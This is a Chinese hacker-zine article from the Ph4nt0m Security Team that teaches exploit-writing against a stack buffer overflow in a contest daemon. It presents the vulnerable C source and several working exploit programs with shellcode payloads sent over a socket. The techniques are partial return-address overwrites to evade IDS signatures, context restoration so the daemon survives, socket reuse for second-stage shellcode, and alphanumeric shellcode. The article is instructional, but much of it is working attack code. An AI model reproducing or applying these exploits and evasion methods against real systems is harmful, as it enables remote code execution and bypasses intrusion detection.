==Ph4nt0m Security Team== Issue 0x01, Phile #0x03 of 0x06 |=---------------------------------------------------------------------------=| |=---------------------=[ 做一个优秀的木匠 ]=---------------------=| |=---------------------------------------------------------------------------=| |=---------------------------------------------------------------------------=| |=--------------------=[ By F.Zh ]=--------------------=| |=---------------------------------------------------------------------------=| |=---------------------------------------------------------------------------=| [本文内容可能会伤及到部分名人粉丝感情,作者表示仅为插科打诨之用,并无恶意] 有副图描述了从发现漏洞到最后盈利的过程,大概意思是研究人员发现了房子的漏洞,木 匠针对漏洞造了一个梯子,最后脚本小子进屋偷东西。国内的圈子里面,玩票性质的安全爱好 者大多不愿意做脚本小子,同时也不见得有足够的时间去找房子的漏洞,所以闲暇时候基本上 做做木匠活当消遣。但木匠也是有三六九等的,有朱由校,有鲁班,也有就只能给地主老财家 做楠木棺材的。作为一个有职业道德的木匠,显然应该努力向前面两个靠拢,因为只能做做楠 木棺材的,未免也太失面子了。 这篇文章就从国内某著名破解论坛搞的科普竞赛开始,由一个楠木棺材级别的木匠挣扎 着介绍一下放眼能够看到的技巧。在切入正题前,有必要介绍一下科普竞赛的背景和结果: 大约是看到windows漏洞太值钱,破解组织也开始搞起了逆向和exploit,而且还以竞赛的方 式来引起非木匠的关注。科普竞赛的题目是两道,如Sowhat所说 (http://hi.baidu.com/secway/blog/item/cb121863a6af72640c33facf.html),第二道题是 可以Google到的,而第一道题显然是个送分题,因此科普竞赛实际上是个比手快的过程。最 后结果是nop拿了第一,这个名字让人不禁联想到了五一国际劳动节和革命先烈鲜血的颜色, 当然,我们依然怀着无比的敬仰和美好的期望,希望这个nop不是职业运动员参加了业余比赛。 先看看存在问题的程序。逆向很简单,但是为了方便,还是直接给出官方公布的源代码。 具有严重自虐倾向的木匠请编译后用ida逆向一下,并自备低温蜡烛和爱心小皮鞭。 ========================和谐的分割线================================= #include #include #pragma comment(lib, "ws2_32.lib") void msg_display(char * buf) { char msg[200]; strcpy(msg,buf);// overflow here, copy 0x200 to 200 cout<<"********************"< ================================================================ var of vulnerable function | ret | var of upper function ... ================================================================ NOP NOP NOP NOP NOP NOP NOP |jmp esp| shellcode ================================================================ shellcode |jmp ? | var of upper function ================================================================ 第二行是马列主义方法,你一定会覆盖到ret,然后继续覆盖起码2个字节(eb xx往回跳转)。 因此一些ids/ips的signature就写了,如果你超过xxoo个字节,就阻止发送。就算写得不好 的signature起码也会检查你是否覆盖到了ret的四个字节,一些更严格的甚至只要覆盖到ret 的第一个字节就报警,对于这样的情况,马列主义方法肯定是被扼杀了,但是第三行的具体国 情方法还有一线机会逃脱检测,我们根本不用覆盖完ret的四个字节,只要利用栈上的变量, 找一些特定的字节码就可以了。 说到这里还可以插播一个事情,去年一月份泄露出来的.ani溢出的exp,大家对那个覆 盖了低两位的exp惊叹不已。这就是一个很好的例子:第一,你用最小的字节数完成了功能, 最大限度避免了ids等的问题。第二,这个方法的稳定性还好。这样说其实是很抽象的,我们 还是回到科普竞赛的代码上来看。 调用msg_display的时候传递进来了一个参数,在栈上表现出来是这个参数是紧接着ret 地址后面的,如果我们仅覆盖到了ret地址,当CPU执行完msg_display返回时,esp刚好指向 这个参数,这个时候只需要一个能达到jmp [esp]功能的地址,就能准确跳转到我们传入的 字符串上去,显然,满足这个条件最好的指令就是0xc3(ret)。下面这个图简单地说明了这 个问题。 <--lower upper--> ============================================================================= var of vulnerable function | ret | ptr | other var of upper function ... ============================================================================= ^---------------------------------------| 把图中的ret用一个内容为0xC3的地址A来覆盖,当msg_display返回时,返回到了A地址, 再执行了一次0xC3(ret)指令,eip就跳到了字符串的开头。 这里的情况还是很简单的,实际exploiting中也许这个ptr离ret还有点距离,可能需要 你pop几次,这个形式上同覆盖seh的利用方法相同,也算是一个巧合吧。 然后来说说0xC3地址的寻找。首先很遗憾的,如果你想用四个字节完全覆盖ret地址, 没有一个通用地方。msvcrt.dll在相同sp的不同语言系统中相对固定,code page在相同语 言不同版本系统中相对固定。注意,这里只是相对,碰上些特殊的情况,可能这些平时通用 的地址根本就是无效的地址。再严格一些,如果这里地址必须符合某种编码规范,也许你更 难找到可用的地址,更别说通用了。 洗脚盆级别的木匠到这里估计要晕倒了,棺材匠级别的应该还有点办法,两个解决方案: 第一、找一个替代产品来满足编码规范。比如0x7ffa1571是你要找的pop pop ret,没 必要一定要用0x7ffa1571,也许用0x7ffa156e也可以,只要pop pop ret前面的指令无伤大 雅就是。一个实际的例子是泄露出来的realplayer import那个,要找pop pop ret,但是符 合编码规范的范围内找不到,作为替代找了一个 call xxx/ret xx,而且刚好call xxx还不 会让程序崩溃。 第二、缩小覆盖面积。覆盖4个字节太痛苦了,少覆盖几个字节吧。x86的DWORD是低位 在上的,所以你顺序覆盖的时候,首先覆盖了ret地址的低位。正常的ret值是返回到某个pe 文件中,比如00401258,如果覆盖一个字节,那可能的地址范围是00401201~004012ff,如果 覆盖2个字节,可能的地址范围在00400101~0040ffff。这么大的范围内一般容易找到满足 要求的地址,而且更重要的是,pe文件版本固定的话,尽管加载的基地址可能会变化,但是由 于基地址有个对齐的要求,低位(两个字节或更多)完全固定,这实际上是一个很好的提高稳 定性的方法。现实中memcpy导致的问题用这种方法更有效,strcpy的麻烦些,不过好在只要 说明问题就是,这里也不深究过多。马上给出第一个代码。 ========================和谐的分割线================================= #include #include #pragma comment(lib, "ws2_32") SOCKET ConnectTo(char *ip, int port) { SOCKET s; struct hostent *he; struct sockaddr_in host; if((he = gethostbyname(ip)) == 0) return INVALID_SOCKET; host.sin_port = htons(port); host.sin_family = AF_INET; host.sin_addr = *((struct in_addr *)he->h_addr); if ((s = WSASocket(2, 1, 0, 0, 0, 0)) == -1) return INVALID_SOCKET; if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1) { closesocket(s); return INVALID_SOCKET; } return s; } void main() { char malicious[] = "\xcc" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "OA@"; WSADATA wsaData; if(WSAStartup(0x0101,&wsaData) != 0) return; SOCKET s = ConnectTo("127.0.0.1", 7777); send(s, malicious, 203, 0); //hard encoded :) WSACleanup(); } ========================和谐的分割线================================= 执行下顺利到达int3指令。 构造exp的过程本身是简单的,关键在shellcode实现功能上。洗脚盆木匠到这一步基本 上就是找一个shellcode来用。作为一个有职业道德的棺材级木匠,可能还应该有点更高的 追求:好的梯子除了能够通用而精确地干掉存在漏洞的机器外,同时还要方便使用者,绕过 防火墙,而且还要尽可能少地影响到守护进程。对于网络程序,理想的情况是复用端口,终 极目标是复用完了还不挂,后续的使用者能够正常使用守护进程的功能。后一点听起来似 乎有点不可思议,而且流传在外面的各种exp,好像还罕有牛到这种程度,不过说穿了也没什 么奇怪的,棺材级的木匠一般都能做到,只是马桶级木匠更喜欢散布马桶级exp而已。我们 把复用端口的问题留在后面,先聊聊如何让守护进程不挂掉这个事情。 要程序不挂,最简单的办法就是恢复溢出时候的上下文,然后返回去。通常jmp esp的方 法因为覆盖得太多,栈给洗脚盆木匠搞得一团糟,影响了太多上级函数的变量,导致根本没有 什么好办法可以恢复。这个时候,尽可能少覆盖的优势出来了:由于最大限度地保存了上层 函数局部变量,所以要做的就是恢复相关寄存器的值,然后寻找正常流程应该返回的地址,跳 转回去即可。对于这里这个简单的daemon,我们甚至可以硬编码返回地址。还是把例子给出 来,说明一下问题先。 ========================和谐的分割线================================= char malicious[] = "\xCC" "LLLL`a" "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "OA@"; ========================和谐的分割线================================= 同前面一个代码相同,0xCC为了调试方便,改成0x90后再编译执行下,可以看见守护进程 完全恢复了,你还可以telnet 7777过去正常执行功能,和没有发生过问题一样。这里恢复的 代码用了一点小技巧,有兴趣的木匠可以仔细看看,代码`和a分别是pushad和popad,在这两 个中间可以放置任何功能的shellcode,不影响整体的框架。 例子虽然简单,但是我建议读到这里的木匠还是跟进去看一下流程。由于这个实例比 较直观,代码就简单恢复了上下文然后跳到正常地方执行,对于复杂点的代码,可能需要多 费一点手脚,但是大体思路和步骤还是可以确定的:首先收集一个正常执行完出问题代码的 寄存器和栈状态;然后确定要返回的地址,搜索或者硬编码,返回的地方可以是上一层,也可 以返回上几层,甚至无耻地跳到入口让程序重新执行一次都可以;最后将恢复的代码编码成 shellcode,加在正常功能shellcode的后面。 让守护进程不挂也做到了,接着看看端口复用的情况。 最简单的网络程序保留有一个SOCKET来通讯,很多已有的文章讨论了如何找到当前的 SOCKET。最常用的方法是枚举所有可能的值,然后发送特征字符串来确认。也有人hook recv,通过稍微被动一点的方法来获得SOCKET。当然这些都是懒人用的通用方法,对于特定 的程序,简单而又稳妥的方法是直接找栈上的变量,消耗的代码少,而且一次性就能找到。 如果编译优化的时候没有具体分配栈上的空间给这个socket,则它一定会被保存在某个寄 存器里面,那就更简单了。针对具体的情况,像recv之类的函数也没有必要用很长的通用代 码去搜索,只要在PE文件里面找找就成。具体的实现细节我们省略掉,给出代码,直接跟进 去看看就知道了。 ========================和谐的分割线================================= void main() { char malicious[] = "\x90" "LLLL`" "\x33\xd2\x66\xba\x10\x10\x2b\xe2\x33\xf6\x56\x52\x54\x53\x66\xb8" "\xe4\x90\xff\x10\x83\xec\x08\xff\xd4\x5d\x5d\x33\xd2\x66\xba\x10" "\x10\x03\xe2" "a" "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3" "" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "OA@"; WSADATA wsaData; if(WSAStartup(0x0101,&wsaData) != 0) return; SOCKET s = ConnectTo("127.0.0.1", 7777); send(s, malicious, 203, 0); send(s, "\xCC\xC3",2,0); Sleep(-1); WSACleanup(); } ========================和谐的分割线================================= 这里直接复用了当前的SOCKET,再次调用recv收了一段shellcode来执行,也就是后面看 到的"\xCC\xC3"。自己再写个简单的shellcode就是,基本没有难度,只是注意要平衡栈,最 后用个0xc3结尾。比较见鬼的是这个守护进程有recv但是没有send,所以shellcode里面你 必须自己找到send的地址……娘西皮,还带这样玩的啊。 其他情况下的复用还有一些其他的方法,比如IIS 5这一类的,比如RPC一类的。前者寻 找一个结构,后者hook一个函数,伪造或者搜索一个同时有in和out的opnum,具体细节baidu 上能够搜索到,限于篇幅这里也不再废话了。如果对方是其他完成端口形式,比如ORACLE,只 能暴力点shutdown掉当前监听,自己来监听一个。当然,也有没什么好方法的,比如IIS6。 上面的过程省略了没有技术含量的shellcode编写过程,主要说的是一些步骤,方法和技 巧。稳定,复用,还有不挂掉守护进程,都作到了,洗脚盆也成功升级为了棺材匠,还有什么可 以做的呢? 美观!这个shellcode简直不是一般的难看,混杂了可读的字符和不可读的字符,简直是 丑陋不堪!你说一个木匠会把棺材做的全是毛刺么,不会雕龙刻凤的木匠永远是二流的。对 于木匠来说,终极的目标是将一个exp发挥到极致,对于这样简单的一个情况,要用所有可见 的字符,最好尽可能都是字母,甚至exp都不用,直接用个telnet就可以溢出获得shell了。 不可能么?当然是可能的,人有多大胆地有多大产,钱老还论证过亩产万斤是可行的呢。 那么,还是给个sample。 void main() { char malicious[] = "`aZZZZZZZZZZZZZZZZZZTYXXXXfiAqcYfPAAeiAoHFXZPiAkj" "brIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVYDahPiARC" "pDXPQlaatHWsaLtUAAAACFiaaPoHHmDahivabowabxANlKjPpp" "ppPfqVfkzppQpBknrFJPPeruDecoOaeNtiPdPpPxSnLpHOoMd" "AAAOA@"; WSADATA wsaData; if(WSAStartup(0x0101,&wsaData) != 0) return; SOCKET s = ConnectTo("127.0.0.1", 7777); send(s, malicious, 203, 0); send(s, "\xCC\xC3",2,0); Sleep(-1); WSACleanup(); } 这里两段shellcode,我们主要解决第一步的问题。要说明malicious到底是个什么东西, 牵扯的面就太广了,我们假设看文章的木匠都是有汇编功底的,而且愿意反汇编进去看一下, 就简单的提提,因为要写这个shellcode的构造,那又是一篇文章。shellcode里面首先平衡 栈,然后对栈进行一些patch,patch出想要的指令,然后对后续数据进行解码操作,最后再执 行。 这个code,运行顺利可以抓到一个0xCC,也就是第二个send的。但是,ret后守护进程还 是挂了。 为了美观,我们exp的工作必须重头再来。开始我们把姿态定得很低,目的是说明问题, 现在把最重要的几步都解决了,又回到了原点,各位木匠们,现在可以动起手来写一下完全符 合可见字符编码的,复用当前SOCKET的第二段shellcode了。按照前面的步骤,应该不是很难 的事情,让守护进程不挂也是可以的,malicious代码保留了革命的火种,发生溢出时的寄存 器值,都保留在上面,剩下一点工作,只是比写普通shellcode稍微多费点劲的活,不想试试看 么。 最后再卖个关子,棺材木匠说过,最终是可以由telnet提交的获得shell,连exp都不用的。 telnet是一个字符一个字符提交的,有没有什么一次性提交203个字节导致第一次溢出呢?可 以的,守护进程只有一个线程,打打这方面的主意,用个小技巧吧。 -EOF-